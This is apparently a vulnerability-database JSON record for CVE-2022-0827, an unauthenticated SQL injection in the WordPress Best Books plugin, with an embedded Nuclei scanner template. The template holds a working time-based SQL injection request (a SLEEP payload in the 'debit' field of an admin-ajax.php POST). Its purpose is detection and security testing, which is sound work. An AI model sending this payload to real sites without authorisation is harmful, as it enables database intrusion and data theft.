{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2022-0827/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2022-0827/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2022-0827/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2022-0827/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2022-0827/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2022-0827"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2022-0827"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2022/CVE-2022-0827.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2022-0827\n\ninfo:\n  name: WordPress Best Books <=2.6.3 - SQL Injection\n  author: theamanrawat\n  severity: critical\n  description: |\n    WordPress Best Books plugin through 2.6.3 is susceptible to SQL injection. The plugin does not sanitize and escape some parameters before using them in a SQL statement via an AJAX action. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.\n  impact: |\n    An attacker can exploit this vulnerability to execute arbitrary SQL queries, potentially leading to unauthorized accessand data leakage.\n  remediation: |\n    Update to WordPress Best Books plugin version 2.6.3 or later to fix the SQL injection vulnerability.\n  reference:\n    - https://wpscan.com/vulnerability/0d208ebc-7805-457b-aa5f-ffd5adb2f3be\n    - https://wordpress.org/plugins/bestbooks/\n    - https://nvd.nist.gov/vuln/detail/CVE-2022-0827\n    - https://github.com/ARPSyndicate/cvemon\n    - https://github.com/cyllective/CVEs\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2022-0827\n    cwe-id: CWE-89\n    epss-score: 0.09127\n    epss-percentile: 0.95087\n    cpe: cpe:2.3:a:presspage:bestbooks:*:*:*:*:*:wordpress:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: presspage\n    product: bestbooks\n    framework: wordpress\n  tags: time-based-sqli,cve,cve2022,sqli,wpscan,wordpress,wp-plugin,wp,bestbooks,unauthenticated,presspage,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        @timeout 10s\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        action=bestbooks_add_transaction&type=x&account=x&date=x&description=1&debit=(CASE WHEN (9277=9277) THEN SLEEP(6) ELSE 9277 END)&credit=1\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'duration_1>=6'\n          - 'status_code == 200'\n          - 'contains(body, \"Account added successfully\")'\n        condition: and\n# digest: 490a0046304402200f1294e5ebabda21f06a7c9e5ce68274badc5a3cee79d12968a62c0d673df8f3022036375cbca0ec567f624b4252608d336b8dd0dfe530f054bcacd62258204af309:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2022-0827"
}